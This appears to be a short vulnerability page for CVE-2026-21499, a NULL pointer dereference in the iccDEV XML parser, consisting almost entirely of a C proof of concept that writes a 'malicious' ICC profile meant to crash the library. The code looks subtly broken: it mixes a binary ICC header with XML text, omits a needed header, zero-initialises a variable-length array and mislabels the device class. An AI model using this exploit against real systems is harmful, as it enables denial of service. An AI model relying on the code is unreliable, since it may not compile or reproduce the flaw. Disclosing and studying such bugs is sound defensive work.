CVE-2026-21499 iccDEV XML解析器NULL指针解引用漏洞

#include <stdio.h> #include <stdlib.h> // Generate malicious ICC profile XML that triggers NULL pointer dereference // This PoC creates a malformed ICC profile that causes the XML parser // to dereference a NULL pointer during profile parsing void generate_malicious_icc_profile(const char* output_file) { FILE* fp = fopen(output_file, "wb"); if (!fp) { printf("Failed to create output file\n"); return; } // ICC profile header unsigned char header[128] = {0}; // Set profile size (will be adjusted) *(unsigned int*)(header + 0) = 0x00000400; // 1024 bytes // Set preferred CMM type *(unsigned int*)(header + 4) = 0x6D6E7472; // 'mntr' // Set profile version *(unsigned int*)(header + 8) = 0x02000000; // Set device class (input device) *(unsigned int*)(header + 12) = 0x7363656E; // 'scen' // Set color space *(unsigned int*)(header + 16) = 0x52574220; // 'RGB ' // Set PCS *(unsigned int*)(header + 20) = 0x58595A20; // 'XYZ ' fwrite(header, 1, 128, fp); // Malformed XML tag that triggers NULL pointer in parser // The parser expects certain XML elements but receives malformed data const char* malicious_xml = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" "<ICCProfile>\n" " <ProfileHeader>\n" " <InvalidElement missing_attr=\"\"/>\n" " </ProfileHeader>\n" "</ICCProfile>\n"; fwrite(malicious_xml, 1, strlen(malicious_xml), fp); // Fill remaining space unsigned char padding[1024 - 128 - strlen(malicious_xml)] = {0}; fwrite(padding, 1, sizeof(padding), fp); fclose(fp); printf("Malicious ICC profile generated: %s\n", output_file); } int main() { generate_malicious_icc_profile("malicious_profile.icc"); printf("To trigger the vulnerability, load this profile using iccDEV library\n"); return 0; }